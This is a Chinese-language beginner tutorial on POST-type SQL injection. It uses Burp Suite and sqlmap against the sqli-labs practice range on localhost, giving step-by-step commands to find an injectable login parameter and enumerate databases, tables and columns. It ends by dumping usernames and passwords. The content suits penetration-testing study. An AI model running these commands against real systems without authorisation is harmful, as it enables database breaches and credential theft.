> 技术文档 > SQL注入--sqlmap使用(POST型注入)_sqlmap post

SQL注入--sqlmap使用(POST型注入)_sqlmap post


适用人群:网络安全初学者 / Web 渗透测试新手
内容覆盖:抓包 → 参数识别 → SQLMap 操作 → 数据库提取 → 实战技巧


 一、目标概述

  • 理解什么是 POST 型 SQL 注入

  • 学会使用抓包工具提取注入请求。

  • 熟练掌握 SQLMap 在 POST 注入场景下的各种参数和使用方式。

  • 掌握自动识别注入点和提取数据库信息的完整流程。


二、工具准备

工具 用途 SQLMap 注入测试主力工具 Burp Suite 抓取并保存 POST 请求 sqllibs/ 靶场 注入测试环境 文本编辑器 保存数据包(如 1.txt)

 三、第一步:抓包并保存 POST 请求

操作步骤:

  1. 打开靶场登录页面(如 sqllibs 第 12 关)。

  2. 输入任意账号密码,点击登录,Burp Suite 捕获 POST 请求。

  3. 将完整请求(包括 Headers)复制保存为 1.txt

    POST /login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=admin&password=123456 


四、第二步:使用 SQLMap 执行注入测试

基本命令结构:

sqlmap.py -r 1.txt -p username --dbs

参数解释:

参数 作用 -r 1.txt 读取保存的请求包 -p username 指定要测试的参数(可避免扫描所有字段--dbs 获取所有数据库

推荐写法(效率高):

sqlmap.py -r 1.txt -p username --dbs 

不推荐写法(不稳定):

请求包中使用 username=admin*,星号标注注入点(可行但复杂)。[测试多个参数就在后门打*就行]


五、提取数据库结构

步骤一:获取当前数据库

sqlmap.py -r 1.txt -p username --current-db

步骤二:列出当前数据库下的所有表

sqlmap.py -r 1.txt -p username -D 当前库名 --tables

步骤三:查看具体表中的字段名

sqlmap.py -r 1.txt -p username -D 当前库名 -T 表名 --columns

步骤四:提取指定字段中的数据

sqlmap.py -r 1.txt -p username -D 当前库名 -T 表名 -C 字段1,字段2 --dump

六、自动识别表单注入点(无需抓包)

sqlmap.py -u http://靶场路径/index.php --forms

功能说明:

  • 自动分析表单 () 中的字段。

  • 自动检测可能的注入点。

  • 适合不方便抓包时使用。

注意:

  • 仅能检测 POST 表单参数。

  • 无法检测 Headers / Cookies 等隐藏参数。


七、注入类型简析(SQLMap 会自动判断)

注入类型 说明 Boolean-based 通过真假条件判断是否注入成功 Error-based 利用数据库报错回显信息进行注入 Time-based 注入后延迟响应(如 sleep(5))判断成功与否 UNION-based 使用 UNION SELECT 获取数据

 八、完整命令案例汇总

示例 1:获取所有数据库

sqlmap.py -r 1.txt -p username --dbs

示例 2:查看当前数据库

sqlmap.py -r 1.txt -p username --current-db

示例 3:获取当前库的所有表

sqlmap.py -r 1.txt -p username -D security --tables

示例 4:查看某表字段信息

sqlmap.py -r 1.txt -p username -D security -T users --columns

示例 5:导出字段内容

sqlmap.py -r 1.txt -p username -D security -T users -C username,password --dump

九、学习建议 

建议内容 说明 ✅ 始终优先使用 -p 参数名 降低扫描误报率,提高效率 ✅ 推荐先使用 --dbs 然后深入查询 由浅入深,逐步掌握结构 ❌ 不推荐直接使用 -u 不带 --forms 容易错过 POST 表单注入点 ✅ 结合抓包 + 自动识别,灵活运用 两种模式适配不同实战场景 ✅ 使用 --batch 跳过所有确认提示 适合批量测试

十、附录:常用参数速查表

参数 功能描述 -r file.txt 从文件中读取请求 -p param 指定参数 --dbs 获取数据库名 --tables 获取数据表名 --columns 获取字段 --dump 导出数据 --forms 自动识别页面表单参数 --current-db 获取当前数据库名 --batch 静默模式(自动回答所有提示)